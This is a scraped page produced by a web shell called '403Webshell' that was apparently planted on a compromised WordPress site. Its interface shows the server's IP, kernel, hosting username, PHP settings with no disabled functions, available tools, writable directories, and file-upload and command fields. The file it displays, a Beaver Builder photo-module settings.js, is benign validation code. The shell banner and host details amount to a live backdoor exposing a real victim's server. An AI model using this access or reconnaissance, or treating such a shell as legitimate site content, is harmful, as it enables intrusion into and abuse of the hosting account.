403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.191.73.161
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/www/wp-content/plugins/beaver-builder-lite-version/modules/photo/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/www/wp-content/plugins/beaver-builder-lite-version/modules/photo/js/settings.js
(function($){

	FLBuilder.registerModuleHelper('photo', {

		rules: {
			photo: {
				required: true
			}
		},

		init: function()
		{
			var form            = $('.fl-builder-settings'),
				photoSource     = form.find('select[name=photo_source]'),
				librarySource   = form.find('select[name=photo_src]'),
				urlSource       = form.find('input[name=photo_url]'),
				align           = form.find('select[name=align]');

			// Init validation events.
			this._photoSourceChanged();

			// Validation events.
			photoSource.on('change', this._photoSourceChanged);
		},

		_photoSourceChanged: function()
		{
			var form            = $('.fl-builder-settings'),
				photoSource     = form.find('select[name=photo_source]').val(),
				photo           = form.find('input[name=photo]'),
				photoUrl        = form.find('input[name=photo_url]'),
				linkType        = form.find('select[name=link_type]');

			photo.rules('remove');
			photoUrl.rules('remove');
			linkType.find('option[value=page]').remove();

			if(photoSource == 'library') {
				photo.rules('add', { required: true });
				linkType.append('<option value="page">' + FLBuilderStrings.photoPage + '</option>');
			}
			else {
				photoUrl.rules('add', { required: true });
			}
		}
	});

})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit